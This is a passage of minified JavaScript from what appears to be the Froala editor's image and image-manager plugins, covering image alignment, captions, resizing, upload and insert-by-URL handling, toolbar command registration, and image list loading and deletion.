passed link.",a[p]="No link in upload response.",a[u]="Error during file upload.",a[h]="Parsing response failed.",a[A]="File is too large.",a[_]="Image file type is invalid.",a[7]="Files can be uploaded only to same domain in IE 8 and IE 9.";var ue=!(a[8]="Image file is corrupted.");function he(){ue=!0}function ge(){ue=!1}function me(e,t,n){if(!y.opts.htmlUntouched&&y.opts.useClasses)e.removeClass("fr-fil fr-fir fr-dib fr-dii"),n&&e.addClass("fr-fi".concat(n[0])),t&&e.addClass("fr-di".concat(t[0]));else if("inline"==t)if(e.css({display:"inline-block",verticalAlign:"bottom",margin:y.opts.imageDefaultMargin}),"center"==n)e.css({"float":"none",marginBottom:"",marginTop:"",maxWidth:"calc(100% - ".concat(2*y.opts.imageDefaultMargin,"px)"),textAlign:"center"});else if("left"==n){var r="0px",a=e.parent("span.fr-img-caption").get(0);a||(a=e.parent().get(0)),a&&"li"===a.tagName.toLowerCase()?r="20px":a&&"p"===a.tagName.toLowerCase()&&(r="15px"),e.css({"float":"left",marginLeft:0,maxWidth:"calc(100% - ".concat(y.opts.imageDefaultMargin,"px)"),textAlign:"left",marginRight:r})}else e.css({"float":"right",marginRight:0,maxWidth:"calc(100% - ".concat(y.opts.imageDefaultMargin,"px)"),textAlign:"right"});else"block"==t&&(e.css({display:"block","float":"none",verticalAlign:"top",margin:"".concat(y.opts.imageDefaultMargin,"px auto"),textAlign:"center"}),"left"==n?e.css({marginLeft:0,textAlign:"left"}):"right"==n&&e.css({marginRight:0,textAlign:"right"}))}function ve(e){if(void 0===e&&(e=Le()),e){if(e.hasClass("fr-fil"))return"left";if(e.hasClass("fr-fir"))return"right";if(e.hasClass("fr-dib")||e.hasClass("fr-dii"))return"center";var t=e.css("float");if(e.css("float","none"),"block"==e.css("display")){if(e.css("float",""),e.css("float")!=t&&e.css("float",t),0===parseInt(e.css("margin-left"),10))return"left";if(0===parseInt(e.css("margin-right"),10))return"right"}else{if(e.css("float",""),e.css("float")!=t&&e.css("float",t),"left"==e.css("float"))return"left";if("right"==e.css("float"))return"right"}}return"center"}function be(e){void 0===e&&(e=Le());var t=e.css("float");return e.css("float","none"),"block"==e.css("display")?(e.css("float",""),e.css("float")!=t&&e.css("float",t),"block"):(e.css("float",""),e.css("float")!=t&&e.css("float",t),"inline")}function Ce(){var e=y.popups.get("image.insert");e||(e=j()),y.popups.isVisible("image.insert")||(I(),y.popups.refresh("image.insert"),y.popups.setContainer("image.insert",y.$sc));var t=Le(),n=t&&t.outerWidth()/2;Te()&&(t=t.find(".fr-img-wrap"),n=L.outerWidth()/2);var r,a=t.offset().left+n,o=t.outerHeight(!0);y.opts.iframe&&Te()&&(o=L?L.outerHeight():0),r=0<y.$el.find("img[data-fr-image-pasted]").length?y.$wp.offset().top-y.helpers.scrollTop()+y.$wp.height():t.offset().top+t.outerHeight(),y.popups.show("image.insert",a,r,o,!0)}function Ee(){if(L){y.events.disableBlur(),y.selection.clear();var e=y.doc.createRange();e.selectNode(L.get(0)),y.browser.msie&&e.collapse(!0),y.selection.get().addRange(e),y.events.enableBlur()}}function ye(){return L}function Le(){return Te()?L.parents(".fr-img-caption").first():L}function Te(){return!!L&&0<L.parents(".fr-img-caption").length}function we(e){for(var t=document.createDocumentFragment();e.firstChild;){var n=e.removeChild(e.firstChild);t.appendChild(n)}e.parentNode.replaceChild(t,e)}return{_init:function Ae(){var o;(function e(){y.events.$on(y.$el,y._mousedown,"IMG"==y.el.tagName?null:'img:not([contenteditable="false"])',function(e){if("false"==T(this).parents("contenteditable").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;y.helpers.isMobile()||y.selection.clear(),t=!0,y.popups.areVisible()&&y.events.disableBlur(),y.browser.msie&&(y.events.disableBlur(),y.$el.attr("contenteditable",!1)),y.draggable||"touchstart"==e.type||e.preventDefault(),e.stopPropagation()}),y.events.$on(y.$el,y._mousedown,".fr-img-caption .fr-inner",function(e){y.core.hasFocus()||y.events.focus(),e.stopPropagation()}),y.events.$on(y.$el,"paste",".fr-img-caption .fr-inner",function(e){!0===y.opts.toolbarInline&&(y.toolbar.hide(),e.stopPropagation())}),y.events.$on(y.$el,y._mousedown,'img:not([contenteditable="false"])',function(e){var t=this;y.browser.mozilla&&3==e.which&&(T(this).attr("contenteditable",!1),setTimeout(function(){T(t).removeAttr("contenteditable")},200))}),y.events.$on(y.$el,y._mouseup,"IMG"==y.el.tagName?null:'img:not([contenteditable="false"])',function(e){if("false"==T(this).parents("contenteditable").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;t&&(t=!1,e.stopPropagation(),y.browser.msie&&(y.$el.attr("contenteditable",!0),y.events.enableBlur()))}),y.events.on("keyup",function(e){if(e.shiftKey&&""===y.selection.text().replace(/\n/g,"")&&y.keys.isArrow(e.which)){var t=y.selection.element(),n=y.selection.endElement();t&&"IMG"==t.tagName?F(T(t)):n&&"IMG"==n.tagName&&F(T(n))}},!0),y.events.on("drop",Y),y.events.on("element.beforeDrop",G),y.events.on("mousedown window.mousedown",he),y.events.on("window.touchmove",ge),y.events.on("mouseup window.mouseup",function(){if(L&&!y.helpers.isMobile())return pe(),!1;ge()}),y.events.on("touchstart touchend",function(){if(L&&y.helpers.isMobile())return pe(),!1;ge()}),y.events.on("commands.mousedown",function(e){0<e.parents(".fr-toolbar").length&&pe()}),y.events.on("image.resizeEnd",function(){y.opts.iframe&&y.size.syncIframe()}),y.events.on("blur image.hideResizer commands.undo commands.redo element.dropped",function(){pe(!(t=!1))}),y.events.on("modals.hide",function(){L&&(Ee(),y.selection.clear())}),y.events.on("image.resizeEnd",function(){y.win.getSelection&&F(L)}),y.events.on("filestack-init",function(){j()}),y.events.on("filestack-init-edit",function(){for(var e=y.$(".fr-popup"),t=e.length-1;0<=t;t--)e[t].parentElement.removeChild(e[t]);M()}),y.opts.imageAddNewLine&&y.events.on("image.inserted",function(e){var t=e.get(0);for(t.nextSibling&&"BR"===t.nextSibling.tagName&&(t=t.nextSibling);t&&!y.node.isElement(t);)t=y.node.isLastSibling(t)?t.parentNode:null;y.node.isElement(t)&&(y.opts.enter===kt.ENTER_BR?e.after("<br>"):T(y.node.blockParent(e.get(0))).after("<".concat(y.html.defaultTag(),"><br></").concat(y.html.defaultTag(),">")))})})(),"IMG"==y.el.tagName&&y.$el.addClass("fr-view"),y.events.$on(y.$el,y.helpers.isMobile()&&!y.helpers.isWindowsPhone()?"touchend":"click","IMG"==y.el.tagName?null:'img:not([contenteditable="false"])',fe),y.helpers.isMobile()&&(y.events.$on(y.$el,"touchstart","IMG"==y.el.tagName?null:'img:not([contenteditable="false"])',function(){n=!1}),y.events.$on(y.$el,"touchmove",function(){n=!0})),y.$wp?(y.events.on("window.keydown keydown",re,!0),y.events.on("keyup",function(e){if(L&&e.which==kt.KEYCODE.ENTER)return!1},!0),y.events.$on(y.$el,"keydown",function(){var e=y.selection.element();(e.nodeType===Node.TEXT_NODE||"BR"==e.tagName&&y.node.isLastSibling(e))&&(e=e.parentNode),y.node.hasClass(e,"fr-inner")||(y.node.hasClass(e,"fr-img-caption")||(e=T(e).parents(".fr-img-caption").get(0)),y.node.hasClass(e,"fr-img-caption")&&(y.opts.trackChangesEnabled||T(e).after(kt.INVISIBLE_SPACE+kt.MARKERS),y.selection.restore()))})):y.events.$on(y.$win,"keydown",re),y.events.on("toolbar.esc",function(){if(L){if(y.$wp)y.events.disableBlur(),y.events.focus();else{var e=L;pe(!0),y.selection.setAfter(e.get(0)),y.selection.restore()}return!1}},!0),y.events.on("toolbar.focusEditor",function(){if(L)return!1},!0),y.events.on("window.cut window.copy",function(e){if(L&&y.popups.isVisible("image.edit")&&!y.popups.get("image.edit").find(":focus").length){var t=Le();Te()?(t.before(kt.START_MARKER),t.after(kt.END_MARKER),y.selection.restore(),y.paste.saveCopiedText(t.get(0).outerHTML,t.text())):(Ee(),y.paste.saveCopiedText(L.get(0).outerHTML,L.attr("alt"))),"copy"==e.type?setTimeout(function(){F(L)}):(pe(!0),y.undo.saveStep(),setTimeout(function(){y.undo.saveStep()},0))}},!0),y.browser.msie&&y.events.on("keydown",function(e){if(!y.selection.isCollapsed()||!L)return!0;var t=e.which;t==kt.KEYCODE.C&&y.keys.ctrlKey(e)?y.events.trigger("window.copy"):t==kt.KEYCODE.X&&y.keys.ctrlKey(e)&&y.events.trigger("window.cut")}),y.events.$on(T(y.o_win),"keydown",function(e){if(y.opts.pluginsEnabled.includes("filestack")&&y.opts.iframe){var t=document.getElementsByClassName("fs-transforms-container"),n=!1;if(t&&t.length){var r,a=He(t);try{for(a.s();!(r=a.n()).done;){var o=r.value;o.childNodes&&o.childNodes.length&&(n=!0)}}catch(s){a.e(s)}finally{a.f()}}n&&(L=null)}var i=e.which;if(L&&i==kt.KEYCODE.BACKSPACE)return e.preventDefault(),!1}),y.events.$on(y.$win,"keydown",function(e){var t=e.which;L&&L.hasClass("fr-uploading")&&t==kt.KEYCODE.ESC&&L.trigger("abortUpload")}),y.events.on("destroy",function(){L&&L.hasClass("fr-uploading")&&L.trigger("abortUpload")}),y.events.on("paste.before",ce),y.events.on("paste.beforeCleanup",de),y.events.on("paste.after",ie),y.events.on("html.set",v),y.events.on("html.inserted",v),v(),y.events.on("destroy",function(){s=[]}),y.events.on("html.processGet",ae),y.opts.imageOutputSize&&y.events.on("html.beforeGet",function(){o=y.el.querySelectorAll("img");for(var e=0;e<o.length;e++){var t=parseFloat(T(o[e]).css("padding-left"))+parseFloat(T(o[e]).css("padding-right")),n=T(o[e]).width()-t,r=o[e].style.width||n,a=o[e].style.height||T(o[e]).height();r&&o[e].setAttribute("width","".concat(r).replace(/px/,"")),a&&o[e].setAttribute("height","".concat(a).replace(/px/,""))}}),y.opts.iframe&&y.events.on("image.loaded",y.size.syncIframe),y.$wp&&(b(),y.events.on("contentChanged",b)),y.events.$on(T(y.o_win),"orientationchange.image",function(){setTimeout(function(){L&&F(L)},100)}),M(!0),j(!0),ee(!0),X(!0),y.events.on("node.remove",function(e){if("IMG"==e.get(0).tagName)return ne(e),!1})},showInsertPopup:function _e(){var e=y.$tb.find('.fr-command[data-cmd="insertImage"]'),t=y.popups.get("image.insert");if(t||(t=j()),I(),!t.hasClass("fr-active"))if(y.popups.refresh("image.insert"),y.popups.setContainer("image.insert",y.$tb),e.isVisible()){var n=y.button.getPosition(e),r=n.left,a=n.top;y.popups.show("image.insert",r,a,e.outerHeight())}else y.position.forSelection(t),y.popups.show("image.insert")},showLayer:function Se(e){var t,n,r=y.popups.get("image.insert");if(L||y.opts.toolbarInline){if(L){var a=Le(),o=0;Te()&&(a=a.find(".fr-img-wrap"),o=L.outerWidth()/2),n=a.offset().top+a.outerHeight(),t=a.offset().left+o}}else{var i=y.$tb.find('.fr-command[data-cmd="insertImage"]');t=i.offset().left,n=i.offset().top+(y.opts.toolbarBottom?10:i.outerHeight()-10)}!L&&y.opts.toolbarInline&&(n=r.offset().top-y.helpers.getPX(r.css("margin-top")),r.hasClass("fr-above")&&(n+=r.outerHeight())),r.find(".fr-layer").removeClass("fr-active"),r.find(".fr-".concat(e,"-layer")).addClass("fr-active"),y.popups.show("image.insert",t,n,L?L.outerHeight():0,Te()),y.accessibility.focusPopup(r)},refreshUploadButton:function ke(e){var t=y.popups.get("image.insert");t&&t.find(".fr-image-upload-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},refreshByURLButton:function xe(e){var t=y.popups.get("image.insert");t&&t.find(".fr-image-by-url-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},upload:W,insertByURL:function Re(){var e=y.popups.get("image.insert").find(".fr-image-by-url-layer input");if(0<e.val().length){O(),D(y.language.translate("Loading image"));var t=e.val().trim();if(y.opts.imageUploadRemoteUrls&&y.opts.imageCORSProxy&&y.opts.imageUpload){var n=new XMLHttpRequest;n.onload=function(){200==this.status?W([new Blob([this.response],{type:this.response.type||"image/png"})],L):N(r)},n.onerror=function(){$(t,!0,[],L)},n.open("GET","".concat(y.opts.imageCORSProxy,"/").concat(t),!0),n.responseType="blob",n.send()}else $(t,!0,[],L);e.val(""),e.blur()}},align:function Ne(e){var t=Le();t.removeClass("fr-fir fr-fil"),!y.opts.htmlUntouched&&y.opts.useClasses?"left"==e?t.addClass("fr-fil"):"right"==e&&t.addClass("fr-fir"):me(t,be(),e),Ee(),S(),o(),y.selection.clear()},refreshAlign:function Me(e){L&&e.find("> *").first().replaceWith(y.icon.create("image-align-".concat(ve())))},refreshAlignOnShow:function Oe(e,t){L&&t.find('.fr-command[data-param1="'.concat(ve(),'"]')).addClass("fr-active").attr("aria-selected",!0)},display:function Ie(e){var t=Le();t.removeClass("fr-dii fr-dib"),!y.opts.htmlUntouched&&y.opts.useClasses?"inline"==e?t.addClass("fr-dii"):"block"==e&&t.addClass("fr-dib"):me(t,e,ve()),Ee(),S(),o(),y.selection.clear()},refreshDisplayOnShow:function De(e,t){L&&t.find('.fr-command[data-param1="'.concat(be(),'"]')).addClass("fr-active").attr("aria-selected",!0)},replace:Ce,back:function e(){L?(y.events.disableBlur(),T(".fr-popup input:focus").blur(),F(L)):(y.events.disableBlur(),y.selection.restore(),y.events.enableBlur(),y.popups.hide("image.insert"),y.toolbar.showInline())},get:ye,getEl:Le,insert:$,showProgressBar:O,remove:ne,hideProgressBar:I,applyStyle:function Be(e,t,n){if(void 0===t&&(t=y.opts.imageStyles),void 0===n&&(n=y.opts.imageMultipleStyles),!L)return!1;var r=Le();if(!n){var a=Object.keys(t);a.splice(a.indexOf(e),1),r.removeClass(a.join(" "))}"object"==St(t[e])?(r.removeAttr("style"),r.css(t[e].style)):(r.toggleClass(e),Te()&&L.hasClass(e)&&L.removeClass(e)),F(L)},showAltPopup:q,showSizePopup:J,setAlt:function Fe(e){if(L){var t=y.popups.get("image.alt");L.attr("alt",e||t.find("input").val()||""),t.find("input:focus").blur(),F(L)}},setSize:function Pe(e,t){if(L){var n=y.popups.get("image.size");e=e||n.find('input[name="width"]').val()||"",t=t||n.find('input[name="height"]').val()||"";var r=/^[\d]+((px)|%)*$/g;L.removeAttr("width").removeAttr("height"),e.match(r)?L.css("width",e):L.css("width",""),t.match(r)?L.css("height",t):L.css("height",""),Te()&&(L.parents(".fr-img-caption").removeAttr("width").removeAttr("height"),e.match(r)?L.parents(".fr-img-caption").css("width",e):L.parents(".fr-img-caption").css("width",""),t.match(r)?L.parents(".fr-img-caption").css("height",t):L.parents(".fr-img-caption").css("height","")),n&&n.find("input:focus").blur(),F(L)}},toggleCaption:function $e(){var e;if(L&&!Te()){(e=L).parent().is("a")&&(e=L.parent());var t,n,r=L.parents("ul")&&0<L.parents("ul").length?L.parents("ul"):L.parents("ol")&&0<L.parents("ol").length?L.parents("ol"):[];if(0<r.length){var a=r.find("li").length,o=L.parents("li"),i=document.createElement("li");a-1===o.index()&&(r.append(i),i.innerHTML=" ")}e.attr("style")?n=-1<(t=e.attr("style").split(":")).indexOf("width")?t[t.indexOf("width")+1].replace(";",""):"":e.attr("width")&&(n=e.attr("width"));var s=y.opts.imageResizeWithPercent?(-1<n.indexOf("px")?null:n)||"100%":L.width()+"px";e.wrap('<div class="fr-img-space-wrap"><span '+(y.browser.mozilla?"":'contenteditable="false"')+'class="fr-img-caption '+L.attr("class")+'" style="'+(y.opts.useClasses?"":e.attr("style"))+'" draggable="false"></span></div>'),e.wrap('<span class="fr-img-wrap"></span>'),L.after('<span class="fr-inner"'.concat(y.browser.mozilla?"":' contenteditable="true"',">").concat(kt.START_MARKER).concat(y.language.translate("Image Caption")).concat(kt.END_MARKER,"</span>")),L.parents(".fr-img-caption").css("width",s);var l=L.parents(".fr-img-space-wrap").length;1==l?we(document.querySelector(".fr-img-space-wrap")):1<l&&(we(document.querySelector(".fr-img-space-wrap")),we(document.querySelector(".fr-img-space-wrap2"))),pe(!0),y.selection.restore()}else{if(e=Le(),L.insertBefore(e),null!==e[0].querySelector("a")){for(var c,d=e[0].querySelector("a"),f=document.createElement("a"),p=0,u=d.attributes,h=u.length;p<h;p++)c=u[p],f.setAttribute(c.nodeName,c.nodeValue);L.wrap(f)}L.attr("class",e.attr("class").replace("fr-img-caption","")).attr("style",e.attr("style")),e.remove();var g=L.parents(".fr-img-space-wrap").length;1==g?we(document.querySelector(".fr-img-space-wrap")):1<g&&(we(document.querySelector(".fr-img-space-wrap")),we(document.querySelector(".fr-img-space-wrap2"))),F(L)}},hasCaption:Te,exitEdit:pe,edit:F}},kt.DefineIcon("insertImage",{NAME:"image",SVG_KEY:"insertImage"}),kt.RegisterShortcut(kt.KEYCODE.P,"insertImage",null,"P"),kt.RegisterCommand("insertImage",{title:"Insert Image",undo:!1,focus:!0,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("image.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("image.insert")):this.image.showInsertPopup()},plugin:"image"}),kt.DefineIcon("imageUpload",{NAME:"upload",SVG_KEY:"upload"}),kt.RegisterCommand("imageUpload",{title:"Upload Image",undo:!1,focus:!1,toggle:!0,callback:function(){this.image.showLayer("image-upload")},refresh:function(e){this.image.refreshUploadButton(e)}}),kt.DefineIcon("imageByURL",{NAME:"link",SVG_KEY:"insertLink"}),kt.RegisterCommand("imageByURL",{title:"By URL",undo:!1,focus:!1,toggle:!0,callback:function(){this.image.showLayer("image-by-url")},refresh:function(e){this.image.refreshByURLButton(e)}}),kt.RegisterCommand("imageInsertByURL",{title:"Insert Image",undo:!0,refreshAfterCallback:!1,callback:function(){this.image.insertByURL()},refresh:function(e){this.image.get()?e.text(this.language.translate("Replace")):e.text(this.language.translate("Insert"))}}),kt.DefineIcon("imageDisplay",{NAME:"star",SVG_KEY:"imageDisplay"}),kt.RegisterCommand("imageDisplay",{title:"Display",type:"dropdown",options:{inline:"Inline",block:"Break Text"},callback:function(e,t){this.image.display(t)},refresh:function(e){this.opts.imageTextNear||e.addClass("fr-hidden")},refreshOnShow:function(e,t){this.image.refreshDisplayOnShow(e,t)}}),kt.DefineIcon("image-align",{NAME:"align-left",SVG_KEY:"alignLeft"}),kt.DefineIcon("image-align-left",{NAME:"align-left",SVG_KEY:"alignLeft"}),kt.DefineIcon("image-align-right",{NAME:"align-right",SVG_KEY:"alignRight"}),kt.DefineIcon("image-align-center",{NAME:"align-justify",SVG_KEY:"alignCenter"}),kt.DefineIcon("imageAlign",{NAME:"align-justify",SVG_KEY:"alignJustify"}),kt.RegisterCommand("imageAlign",{type:"dropdown",title:"Align",options:{left:"Align Left",center:"None",right:"Align Right"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=kt.COMMANDS.imageAlign.options;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command fr-title" tabIndex="-1" role="option" data-cmd="imageAlign" data-param1="'.concat(n,'" title="').concat(this.language.translate(t[n]),'">').concat(this.icon.create("image-align-".concat(n)),'<span class="fr-sr-only">').concat(this.language.translate(t[n]),"</span></a></li>"));return e+="</ul>"},callback:function(e,t){this.image.align(t)},refresh:function(e){this.image.refreshAlign(e)},refreshOnShow:function(e,t){this.image.refreshAlignOnShow(e,t)}}),kt.DefineIcon("imageReplace",{NAME:"exchange",FA5NAME:"exchange-alt",SVG_KEY:"replaceImage"}),kt.RegisterCommand("imageReplace",{title:"Replace",undo:!1,focus:!1,popup:!0,refreshAfterCallback:!1,callback:function(){this.image.replace()}}),kt.DefineIcon("imageRemove",{NAME:"trash",SVG_KEY:"remove"}),kt.RegisterCommand("imageRemove",{title:"Remove",callback:function(){this.image.remove()}}),kt.DefineIcon("imageBack",{NAME:"arrow-left",SVG_KEY:"back"}),kt.RegisterCommand("imageBack",{title:"Back",undo:!1,focus:!1,back:!0,callback:function(){this.image.back()},refresh:function(e){this.$;this.image.get()||this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next(".fr-separator").removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next(".fr-separator").addClass("fr-hidden"))}}),kt.RegisterCommand("imageDismissError",{title:"OK",undo:!1,callback:function(){this.image.hideProgressBar(!0)}}),kt.DefineIcon("imageStyle",{NAME:"magic",SVG_KEY:"imageClass"}),kt.RegisterCommand("imageStyle",{title:"Style",type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.imageStyles;for(var n in t)if(t.hasOwnProperty(n)){var r=t[n];"object"==St(r)&&(r=r.title),e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="imageStyle" data-param1="'.concat(n,'">').concat(this.language.translate(r),"</a></li>")}return e+="</ul>"},callback:function(e,t){this.image.applyStyle(t)},refreshOnShow:function(e,t){var n=this.$,r=this.image.getEl();r&&t.find(".fr-command").each(function(){var e=n(this).data("param1"),t=r.hasClass(e);n(this).toggleClass("fr-active",t).attr("aria-selected",t)})}}),kt.DefineIcon("imageAlt",{NAME:"info",SVG_KEY:"imageAltText"}),kt.RegisterCommand("imageAlt",{undo:!1,focus:!1,popup:!0,title:"Alternative Text",callback:function(){this.image.showAltPopup()}}),kt.RegisterCommand("imageSetAlt",{undo:!0,focus:!1,title:"Update",refreshAfterCallback:!1,callback:function(){this.image.setAlt()}}),kt.DefineIcon("imageSize",{NAME:"arrows-alt",SVG_KEY:"imageSize"}),kt.RegisterCommand("imageSize",{undo:!1,focus:!1,popup:!0,title:"Change Size",callback:function(){this.image.showSizePopup()}}),kt.RegisterCommand("imageSetSize",{undo:!0,focus:!1,title:"Update",refreshAfterCallback:!1,callback:function(){this.image.setSize()}}),kt.DefineIcon("imageCaption",{NAME:"commenting",FA5NAME:"comment-alt",SVG_KEY:"imageCaption"}),kt.RegisterCommand("imageCaption",{undo:!0,focus:!1,title:"Image Caption",refreshAfterCallback:!0,callback:function(){this.image.toggleCaption()},refresh:function(e){this.image.get()&&e.toggleClass("fr-active",this.image.hasCaption())}}),Object.assign(kt.DEFAULTS,{imageManagerLoadURL:"https://i.froala.com/load-files",imageManagerLoadMethod:"get",imageManagerLoadParams:{},imageManagerPreloader:null,imageManagerDeleteURL:"",imageManagerDeleteMethod:"post",imageManagerDeleteParams:{},imageManagerPageSize:12,imageManagerScrollOffset:20,imageManagerToggleTags:!0}),kt.PLUGINS.imageManager=function(s){var l,c,o,i,d,f,p,u,h,g,m,v=s.$,b="image_manager",e=10,C=11,E=12,y=13,L=14,T=15,n=21,r=22,a={};function w(){var e=v(window).outerWidth();return e<768?2:e<1200?3:4}function A(){d.empty();for(var e=0;e<m;e++)d.append('<div class="fr-list-column"></div>')}function _(){if(h<p.length&&o[0].scrollTop>=o[0].scrollHeight-s.opts.imageManagerScrollOffset-o.outerHeight()){u++;for(var e=s.opts.imageManagerPageSize*(u-1);e<Math.min(p.length,s.opts.imageManagerPageSize*u);e++)t(p[e])}}function t(a){var o=new Image,i=v(document.createElement("div")).attr("class","fr-image-container fr-empty fr-image-"+g++).attr("data-loading",s.language.translate("Loading")+"..").attr("data-deleting",s.language.translate("Deleting")+"..");R(!1),o.onload=function(){i.height(Math.floor(i.width()/o.width*o.height));var n=v(document.createElement("img"));if(a.thumb)n.attr("src",a.thumb);else{if(I(L,a),!a.url)return I(T,a),!1;n.attr("src",a.url)}if(a.url&&n.attr("data-url",a.url),a.tag)if(c.find(".fr-modal-more.fr-not-available").removeClass("fr-not-available"),c.find(".fr-modal-tags").show(),0<=a.tag.indexOf(",")){for(var e=a.tag.split(","),t=0;t<e.length;t++)e[t]=e[t].trim(),0===f.find('a[title="'.concat(e[t],'"]')).length&&f.append('<a role="button" title="'.concat(e[t],'">').concat(e[t],"</a>"));n.attr("data-tag",e.join())}else 0===f.find('a[title="'.concat(a.tag.trim(),'"]')).length&&f.append('<a role="button" title="'.concat(a.tag.trim(),'">').concat(a.tag.trim(),"</a>")),n.attr("data-tag",a.tag.trim());for(var r in a.name&&n.attr("alt",a.name),a)a.hasOwnProperty(r)&&"thumb"!==r&&"url"!==r&&"tag"!==r&&n.attr("data-".concat(r),a[r]);i.append(n).append(v(s.icon.create("imageManagerDelete")).addClass("fr-delete-img").attr("title",s.language.translate("Delete"))).append(v(s.icon.create("imageManagerInsert")).addClass("fr-insert-img").attr("title",s.language.translate("Insert"))),f.find(".fr-selected-tag").each(function(e,t){P(n,t.text)||i.hide()}),n.on("load",function(){i.removeClass("fr-empty"),i.height("auto"),h++,x(k(parseInt(n.parent().attr("class").match(/fr-image-(\d+)/)[1],10)+1)),R(!1),h%s.opts.imageManagerPageSize==0&&_()}),s.events.trigger("imageManager.imageLoaded",[n])},o.onerror=function(){h++,i.remove(),x(k(parseInt(i.attr("class").match(/fr-image-(\d+)/)[1],10)+1)),I(e,a),h%s.opts.imageManagerPageSize==0&&_()},o.src=a.thumb||a.url,S().append(i)}function S(){var r,a;return d.find(".fr-list-column").each(function(e,t){var n=v(t);0===e?(a=n.outerHeight(),r=n):n.outerHeight()<a&&(a=n.outerHeight(),r=n)}),r}function k(e){e===undefined&&(e=0);for(var t=[],n=g-1;e<=n;n--){var r=d.find(".fr-image-".concat(n));r.length&&(t.push(r),v(document.createElement("div")).attr("id","fr-image-hidden-container").append(r),d.find(".fr-image-".concat(n)).remove())}return t}function x(e){for(var t=e.length-1;0<=t;t--)S().append(e[t])}function R(e){if(e===undefined&&(e=!0),!l.isVisible())return!0;var t=w();if(t!==m){m=t;var n=k();A(),x(n)}s.modals.resize(b),e&&_()}function N(e){for(var t,n=e[0].attributes,r=n.length,a={};r--;)n[r]&&"src"!==(t=n[r].name)&&(a[t]=n[r].value);return a}function M(e){var t=v(e.currentTarget).siblings("img"),n=l.data("instance")||s,r=l.data("current-image");if(s.modals.hide(b),n.image.showProgressBar(),r)r.data("fr-old-src",r.attr("src")),r.trigger("click");else{n.events.focus(!0),n.selection.restore();var a=n.position.getBoundingRect(),o=a.left+a.width/2+v(s.doc).scrollLeft(),i=a.top+a.height+v(s.doc).scrollTop();n.popups.setContainer("image.insert",s.$sc),n.popups.show("image.insert",o,i)}n.image.insert(t.data("url"),!1,N(t),r)}function O(e){var o=v(e.currentTarget).siblings("img"),t=s.language.translate("Are you sure? Image will be deleted.");confirm(t)&&(s.opts.imageManagerDeleteURL?!1!==s.events.trigger("imageManager.beforeDeleteImage",[o])&&(o.parent().addClass("fr-image-deleting"),v(this).ajax({method:s.opts.imageManagerDeleteMethod,url:s.opts.imageManagerDeleteURL,data:Object.assign(Object.assign({src:o.attr("src")},N(o)),s.opts.imageManagerDeleteParams),crossDomain:s.opts.requestWithCORS,withCredentials:s.opts.requestWithCredentials,headers:s.opts.requestHeaders,done:function(e,t,n){s.events.trigger("imageManager.imageDeleted",[e]);var r=k(parseInt(o.parent().attr("class").match(/fr-image-(\d+)/)[1],10)+1);o.parent().remove(),x(r),function a(){l.find("#fr-modal-tags > a").each(function(){0===l.find('#fr-image-list [data-tag*="'.concat(v(this).text(),'"]')).length&&v(this).removeClass("fr-selected-tag").hide()}),B()}(),R(!0)},fail:function(e){I(n,e.response||e.responseText)}})):I(r))}function I(e,t){10<=e&&e<20?i.hide():20<=e&&e<30&&v(".fr-image-deleting").removeClass("fr-image-deleting"),s.events.trigger("imageManager.error",[{code:e,message:a[e]},t])}function D(){var e=c.find(".fr-modal-head-line").outerHeight(),t=f.outerHeight();c.toggleClass("fr-show-tags"),c.hasClass("fr-show-tags")?(c.css("height",e+t),o.css("marginTop",e+t),f.find("a").css("opacity",1)):(c.css("height",e),o.css("marginTop",e),f.find("a").css("opacity",0))}function B(){var e=f.find(".fr-selected-tag");0<e.length?(d.find("img").parents().show(),e.each(function(e,r){d.find("img").each(function(e,t){var n=v(t);P(n,r.text)||n.parent().hide()})})):d.find("img").parents().show(),x(k()),_()}function F(e){e.preventDefault();var t=v(e.currentTarget);t.toggleClass("fr-selected-tag"),s.opts.imageManagerToggleTags&&t.siblings("a").removeClass("fr-selected-tag"),B()}function P(e,t){for(var n=(e.attr("data-tag")||"").split(","),r=0;r<n.length;r++)if(n[r]===t)return!0;return!1}return a[e]="Image cannot be loaded from the passed link.",a[C]="Error during load images request.",a[E]="Missing imageManagerLoadURL option.",a[y]="Parsing load response failed.",a[L]="Missing image thumb.",a[T]="Missing image URL.",a[n]="Error during delete image request.",a[r]="Missing imageManagerDeleteURL option.",{require:["image"],_init:function $(){if(!s.$wp&&"IMG"!==s.el.tagName)return!1},show:function H(){if(!l){var e,t='<button class="fr-command fr-btn fr-modal-more fr-not-available" id="fr-modal-more-'.concat(s.sid,'"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24""><path d="').concat(kt.SVG.tags,'"/></svg></button><h4 data-text="true">').concat(s.language.translate("Manage Images"),'</h4></div>\n <div class="fr-modal-tags" id="fr-modal-tags">');e=s.opts.imageManagerPreloader?'<img class="fr-preloader" id="fr-preloader" alt="'.concat(s.language.translate("Loading"),'.." src="').concat(s.opts.imageManagerPreloader,'" style="display: none;">'):'<span class="fr-preloader" id="fr-preloader" style="display: none;">'.concat(s.language.translate("Loading"),"</span>"),e+='<div class="fr-image-list" id="fr-image-list"></div>';var n=s.modals.create(b,t,e);l=n.$modal,c=n.$head,o=n.$body}l.data("current-image",s.image.get()),s.modals.show(b),i||function 